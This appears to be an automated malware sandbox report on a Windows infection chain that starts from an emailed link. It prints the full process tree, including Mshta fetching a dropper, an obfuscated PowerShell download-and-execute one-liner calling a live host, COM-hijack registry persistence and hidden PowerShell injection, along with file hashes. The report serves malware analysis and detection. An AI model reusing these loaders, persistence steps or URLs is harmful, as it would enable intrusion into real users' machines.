Analysis
-
max time kernel
137s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
-
submitted
26-09-2022 14:01
General
-
Target
https://avme-zc1.maillist-manage.com.au/click.zc?m=1&mrd=126605c9d3861db&od=3z82fd09666148feea4ff0cb2c316fa9c0b0a11d15b6b4da3f345d26d28a832d29&linkDgs=126605c9cdd4033&repDgs=126605c9d38cc06
Score
10/10
Malware Config
Extracted
Language
hta
Source
URLs
hta.dropper
https://vigorous-wilson.91-212-52-180.plesk.page/Bypass.txt
Signatures
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 6 IoCs
-
Registers COM server for autorun 1 TTPs 4 IoCs
-
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Suspicious use of SetThreadContext 2 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Modifies registry class 57 IoCs
-
Modifies registry key 1 TTPs 4 IoCs
-
Suspicious behavior: EnumeratesProcesses 44 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 34 IoCs
-
Suspicious use of SendNotifyMessage 24 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://avme-zc1.maillist-manage.com.au/click.zc?m=1&mrd=126605c9d3861db&od=3z82fd09666148feea4ff0cb2c316fa9c0b0a11d15b6b4da3f345d26d28a832d29&linkDgs=126605c9cdd4033&repDgs=126605c9d38cc061⤵
- Enumerates connected drives
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa03c74f50,0x7ffa03c74f60,0x7ffa03c74f702⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1616 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2016 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2316 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3032 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3040 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4320 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4432 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5516 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4892 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4880 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5552 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5500 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5764 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5788 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5856 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5092 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1600 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5040 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2120 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5800 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3560 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1648,4229283288781748757,16682458742740593203,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4468 /prefetch:82⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "E:\Shipment.vbs"1⤵
- Enumerates connected drives
-
C:\Windows\system32\Mshta.EXEMshta.EXE https://vigorous-wilson.91-212-52-180.plesk.page/Bypass.txt1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exePOWERSHELL $HYJXIHWDWOUCJQCVAEQPREE = '[417(/%(^2}\&8=64#+[$}]y417(/%(^2}\&8=64#+[$}]t14120$]9$#\}4_]4_^)03/*]_{^-!$+!&6%)%<0//4*=.IO.417(/%(^2}\&8=64#+[$}]t+333&&8<$@88<4(\56)-#&14120$]9$#\}4_]4_^)03/)$)&702!}^{3#\<8]@1$/&*]_{^-!$+!&6%)%<0//4*=+333&&8<$@88<4(\56)-#&14120$]9$#\}4_]4_^)03/)$)&702!}^{3#\<8]@1$/&d14120$]9$#\}4_]4_^)03/+333&&8<$@88<4(\56)-#&]'.Replace('417(/%(^2}\&8=64#+[$}]','S').Replace('14120$]9$#\}4_]4_^)03/','E').Replace('+333&&8<$@88<4(\56)-#&','R').Replace(')$)&702!}^{3#\<8]@1$/&','A').Replace('*]_{^-!$+!&6%)%<0//4*=','M');$HDVTITTDHVLAOZKFAYWYGIZ = ($HYJXIHWDWOUCJQCVAEQPREE -Join '')|&('I'+'EX');$HOGRJRLUDXJHRXVRUCKLZOL = '[$\+_/\99=<*3[=]${9<@}%y$\+_/\99=<*3[=]${9<@}%)#{=4]6_57]<@%7(5@7_^=&8%!{]23%[<[$-4}}$6#(*m.N&8%!{]23%[<[$-4}}$6#(*)#{=4]6_57]<@%7(5@7_^=.W&8%!{]23%[<[$-4}}$6#(*bR&8%!{]23%[<[$-4}}$6#(*qu&8%!{]23%[<[$-4}}$6#(*$\+_/\99=<*3[=]${9<@}%)#{=4]6_57]<@%7(5@7_^=]'.Replace('$\+_/\99=<*3[=]${9<@}%','S').Replace('&8%!{]23%[<[$-4}}$6#(*','E').Replace(')#{=4]6_57]<@%7(5@7_^=','T');$HADWKEPXOVJZCGGRDQYUUGY = ($HOGRJRLUDXJHRXVRUCKLZOL -Join '')|&('I'+'EX');$HZDFSFNTATJKVCKKSIVCJFW = '8}=7#08+1^7<+_31_7{157r4@!4!/=@_#43/<7/&*\\{_a[_\6<8}*$+]2=![0/9/_}}4@!4!/=@_#43/<7/&*\\{_'.Replace('8}=7#08+1^7<+_31_7{157','C').Replace('4@!4!/=@_#43/<7/&*\\{_','E').Replace('[_\6<8}*$+]2=![0/9/_}}','T');$HOBIHETKTJECHCLXLAXRTII = '[)+3}=+748#%&_66/^*4<$6\9[37))/5}1{0^\$4[8*)tR6\9[37))/5}1{0^\$4[8*)_8{75-!%3+}$$-}/)%*%98pon_8{75-!%3+}$$-}/)%*%986\9[37))/5}1{0^\$4[8*)'.Replace('[)+3}=+748#%&_66/^*4<$','G').Replace('6\9[37))/5}1{0^\$4[8*)','E').Replace('_8{75-!%3+}$$-}/)%*%98','S');$HLSASYIVOLWFAOSPWVQINNO = 'G6@[=4^%#_4@#)9!839#)%3t*\^{]=@+5{6&!%2//*<[3-6@[=4^%#_4@#)9!839#)%3)^[]+22%8-[&912]3[0^34pon)^[]+22%8-[&912]3[0^346@[=4^%#_4@#)9!839#)%3)^[]+22%8-[&912]3[0^34t*\^{]=@+5{6&!%2//*<[3-6@[=4^%#_4@#)9!839#)%3am'.Replace(')^[]+22%8-[&912]3[0^34','S').Replace('6@[=4^%#_4@#)9!839#)%3','E').Replace('*\^{]=@+5{6&!%2//*<[3-','R');$HWIGQVVTQPLAQJFXPNRIRSZ = '6[#-*[{14$_4}/8!(-2//*84/[74!}_)1}=)@45&\4_=a[7_4=)<7}4{()0}=)_+9{2To84/[74!}_)1}=)@45&\4_=n[7_4=)<7}4{()0}=)_+9{2'.Replace('6[#-*[{14$_4}/8!(-2//*','R').Replace('84/[74!}_)1}=)@45&\4_=','E').Replace('[7_4=)<7}4{()0}=)_+9{2','D');&('I'+'EX')($HDVTITTDHVLAOZKFAYWYGIZ::new($HADWKEPXOVJZCGGRDQYUUGY::$HZDFSFNTATJKVCKKSIVCJFW('https://vigorous-wilson.91-212-52-180.plesk.page/Server.txt').$HOBIHETKTJECHCLXLAXRTII().$HLSASYIVOLWFAOSPWVQINNO()).$HWIGQVVTQPLAQJFXPNRIRSZ())1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.ps1'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.vbs"3⤵
-
C:\Windows\System32\CScript.exe"C:\Windows\System32\CScript.exe" "E:\Shipment.vbs"1⤵
- Enumerates connected drives
-
C:\Windows\system32\Mshta.EXEMshta.EXE https://vigorous-wilson.91-212-52-180.plesk.page/Bypass.txt1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exePOWERSHELL $HYJXIHWDWOUCJQCVAEQPREE = '[417(/%(^2}\&8=64#+[$}]y417(/%(^2}\&8=64#+[$}]t14120$]9$#\}4_]4_^)03/*]_{^-!$+!&6%)%<0//4*=.IO.417(/%(^2}\&8=64#+[$}]t+333&&8<$@88<4(\56)-#&14120$]9$#\}4_]4_^)03/)$)&702!}^{3#\<8]@1$/&*]_{^-!$+!&6%)%<0//4*=+333&&8<$@88<4(\56)-#&14120$]9$#\}4_]4_^)03/)$)&702!}^{3#\<8]@1$/&d14120$]9$#\}4_]4_^)03/+333&&8<$@88<4(\56)-#&]'.Replace('417(/%(^2}\&8=64#+[$}]','S').Replace('14120$]9$#\}4_]4_^)03/','E').Replace('+333&&8<$@88<4(\56)-#&','R').Replace(')$)&702!}^{3#\<8]@1$/&','A').Replace('*]_{^-!$+!&6%)%<0//4*=','M');$HDVTITTDHVLAOZKFAYWYGIZ = ($HYJXIHWDWOUCJQCVAEQPREE -Join '')|&('I'+'EX');$HOGRJRLUDXJHRXVRUCKLZOL = '[$\+_/\99=<*3[=]${9<@}%y$\+_/\99=<*3[=]${9<@}%)#{=4]6_57]<@%7(5@7_^=&8%!{]23%[<[$-4}}$6#(*m.N&8%!{]23%[<[$-4}}$6#(*)#{=4]6_57]<@%7(5@7_^=.W&8%!{]23%[<[$-4}}$6#(*bR&8%!{]23%[<[$-4}}$6#(*qu&8%!{]23%[<[$-4}}$6#(*$\+_/\99=<*3[=]${9<@}%)#{=4]6_57]<@%7(5@7_^=]'.Replace('$\+_/\99=<*3[=]${9<@}%','S').Replace('&8%!{]23%[<[$-4}}$6#(*','E').Replace(')#{=4]6_57]<@%7(5@7_^=','T');$HADWKEPXOVJZCGGRDQYUUGY = ($HOGRJRLUDXJHRXVRUCKLZOL -Join '')|&('I'+'EX');$HZDFSFNTATJKVCKKSIVCJFW = '8}=7#08+1^7<+_31_7{157r4@!4!/=@_#43/<7/&*\\{_a[_\6<8}*$+]2=![0/9/_}}4@!4!/=@_#43/<7/&*\\{_'.Replace('8}=7#08+1^7<+_31_7{157','C').Replace('4@!4!/=@_#43/<7/&*\\{_','E').Replace('[_\6<8}*$+]2=![0/9/_}}','T');$HOBIHETKTJECHCLXLAXRTII = '[)+3}=+748#%&_66/^*4<$6\9[37))/5}1{0^\$4[8*)tR6\9[37))/5}1{0^\$4[8*)_8{75-!%3+}$$-}/)%*%98pon_8{75-!%3+}$$-}/)%*%986\9[37))/5}1{0^\$4[8*)'.Replace('[)+3}=+748#%&_66/^*4<$','G').Replace('6\9[37))/5}1{0^\$4[8*)','E').Replace('_8{75-!%3+}$$-}/)%*%98','S');$HLSASYIVOLWFAOSPWVQINNO = 'G6@[=4^%#_4@#)9!839#)%3t*\^{]=@+5{6&!%2//*<[3-6@[=4^%#_4@#)9!839#)%3)^[]+22%8-[&912]3[0^34pon)^[]+22%8-[&912]3[0^346@[=4^%#_4@#)9!839#)%3)^[]+22%8-[&912]3[0^34t*\^{]=@+5{6&!%2//*<[3-6@[=4^%#_4@#)9!839#)%3am'.Replace(')^[]+22%8-[&912]3[0^34','S').Replace('6@[=4^%#_4@#)9!839#)%3','E').Replace('*\^{]=@+5{6&!%2//*<[3-','R');$HWIGQVVTQPLAQJFXPNRIRSZ = '6[#-*[{14$_4}/8!(-2//*84/[74!}_)1}=)@45&\4_=a[7_4=)<7}4{()0}=)_+9{2To84/[74!}_)1}=)@45&\4_=n[7_4=)<7}4{()0}=)_+9{2'.Replace('6[#-*[{14$_4}/8!(-2//*','R').Replace('84/[74!}_)1}=)@45&\4_=','E').Replace('[7_4=)<7}4{()0}=)_+9{2','D');&('I'+'EX')($HDVTITTDHVLAOZKFAYWYGIZ::new($HADWKEPXOVJZCGGRDQYUUGY::$HZDFSFNTATJKVCKKSIVCJFW('https://vigorous-wilson.91-212-52-180.plesk.page/Server.txt').$HOBIHETKTJECHCLXLAXRTII().$HLSASYIVOLWFAOSPWVQINNO()).$HWIGQVVTQPLAQJFXPNRIRSZ())1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.ps1'"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.vbs"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exePOWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.bat1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.bat""2⤵
-
C:\Windows\system32\reg.exeREG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f3⤵
- Modifies registry class
- Modifies registry key
-
C:\Windows\system32\reg.exeREG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f3⤵
- Registers COM server for autorun
- Modifies registry class
- Modifies registry key
-
C:\Windows\system32\cmd.execMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\KKTVJRXYHBIYOERSNNCVOH.ps1'"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\KKTVJRXYHBIYOERSNNCVOH.ps1'"4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exePOWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.bat1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.bat""2⤵
-
C:\Windows\system32\reg.exeREG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f3⤵
- Modifies registry class
- Modifies registry key
-
C:\Windows\system32\reg.exeREG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f3⤵
- Registers COM server for autorun
- Modifies registry class
- Modifies registry key
-
C:\Windows\system32\cmd.execMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\KKTVJRXYHBIYOERSNNCVOH.ps1'"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\KKTVJRXYHBIYOERSNNCVOH.ps1'"4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
C:\Windows\System32\Notepad.exe"C:\Windows\System32\Notepad.exe" E:\Shipment.vbs1⤵
- Enumerates connected drives
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.batFilesize
706B
MD583831d61270b08899fe13fca76350e70
SHA1189889e8f75c5d7b8add6710e1f085291bde37a5
SHA2569d701d4451ea7159508667cc49d257402f3884a6ca9b82f90e255bc412b20c9d
SHA512b430c168a1439633a3461f72256586ce80aee98aea169715758f2f0fc29128bc91bdb54b6da939f8d89cae1d4f2ec42a592635994cce475db7dd8df68828c07f
-
C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.batFilesize
706B
MD583831d61270b08899fe13fca76350e70
SHA1189889e8f75c5d7b8add6710e1f085291bde37a5
SHA2569d701d4451ea7159508667cc49d257402f3884a6ca9b82f90e255bc412b20c9d
SHA512b430c168a1439633a3461f72256586ce80aee98aea169715758f2f0fc29128bc91bdb54b6da939f8d89cae1d4f2ec42a592635994cce475db7dd8df68828c07f
-
C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.ps1Filesize
3KB
MD54de8228c61dfbb32e4720f66aa30d42d
SHA1b3101f1ecdd38bb4861e9b357ff3b737a21552a2
SHA256d5aad6949398008b6589ac79d5090de2e69271b0df53596ddd15ce39284dbccb
SHA5120c7d3d0da9ad287d8e1903740b10592e814ec3a909631dfaa69ad7ac8055e13f984ecfe877c79c7b9f975f36c4bf6a21a1c534f57053c4de72cab3baa1ed292b
-
C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.ps1Filesize
3KB
MD54de8228c61dfbb32e4720f66aa30d42d
SHA1b3101f1ecdd38bb4861e9b357ff3b737a21552a2
SHA256d5aad6949398008b6589ac79d5090de2e69271b0df53596ddd15ce39284dbccb
SHA5120c7d3d0da9ad287d8e1903740b10592e814ec3a909631dfaa69ad7ac8055e13f984ecfe877c79c7b9f975f36c4bf6a21a1c534f57053c4de72cab3baa1ed292b
-
C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.vbsFilesize
2KB
MD54fc6c06dab80c1deca9cf53f8ab9e380
SHA1fa91c0026d87753d5b7619097f83d396acdf5c03
SHA256692c43787bc9e414df0ea9c7f19e61c8d8fc84c3cd4b44fa6f4636ea13da3bd7
SHA512be23e4ac9b89978fd6b4f9d0b83e4a287661214901866828ce52537126699c095e9c92fbcb6949ca078a3612dc3bad44d44559d0a2f0a4c03bb2874d9aa6855e
-
C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\CPNRAIJSTQDXNQXSQNQDSU.vbsFilesize
2KB
MD54fc6c06dab80c1deca9cf53f8ab9e380
SHA1fa91c0026d87753d5b7619097f83d396acdf5c03
SHA256692c43787bc9e414df0ea9c7f19e61c8d8fc84c3cd4b44fa6f4636ea13da3bd7
SHA512be23e4ac9b89978fd6b4f9d0b83e4a287661214901866828ce52537126699c095e9c92fbcb6949ca078a3612dc3bad44d44559d0a2f0a4c03bb2874d9aa6855e
-
C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\KKTVJRXYHBIYOERSNNCVOH.ps1Filesize
220KB
MD509bf0ee0ba78038d4524878be0b6ffbe
SHA17314c1700a55f62414b74d09dca6b0ea076ac908
SHA256e5099dfd555a7dbba17eaee90a820c65519bb7204b349741c859d69921ec126e
SHA51207f4c79d5c05c7a80b7a1426df084d6386ff91eab010c6445291a42de9789079bc6e36cf3438daed87592d04142498d7788aa21d19cf2f86a0320d9c4fcef62d
-
C:\ProgramData\CPNRAIJSTQDXNQXSQNQDSU\KKTVJRXYHBIYOERSNNCVOH.ps1Filesize
220KB
